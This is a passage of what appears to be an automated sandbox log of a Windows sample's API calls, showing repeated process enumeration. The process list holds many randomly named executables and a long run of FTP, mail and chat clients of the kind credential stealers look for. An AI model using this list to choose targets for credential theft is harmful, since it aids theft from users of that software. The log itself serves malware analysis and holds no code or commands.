th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.168] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.169] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0247.171] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0247.173] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0247.174] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0247.223] CloseHandle (hObject=0x13b0) returned 1 [0247.223] Sleep (dwMilliseconds=0x64) [0247.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0247.298] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.301] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.302] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.304] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.306] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.307] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.308] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.310] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.311] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.313] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.315] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.317] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.319] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.320] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.321] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.323] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.324] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.325] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.327] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.328] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.330] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0247.381] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0247.384] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.387] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0247.390] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0247.392] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0247.394] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.395] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0247.397] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0247.399] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.401] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0247.403] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0247.404] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0247.406] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0247.408] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0247.411] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0247.413] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0247.415] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0247.417] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0247.418] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0247.420] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0247.421] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0247.423] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0247.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0247.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0247.479] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0247.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0247.482] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0247.484] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0247.486] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0247.488] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0247.490] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0247.492] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0247.494] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0247.495] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0247.497] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0247.499] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0247.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0247.503] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0247.506] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0247.508] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0247.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0247.513] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0247.515] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0247.517] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0247.568] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0247.570] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0247.573] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0247.575] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0247.577] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0247.579] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0247.582] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0247.584] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0247.586] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0247.588] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0247.590] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0247.593] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0247.595] 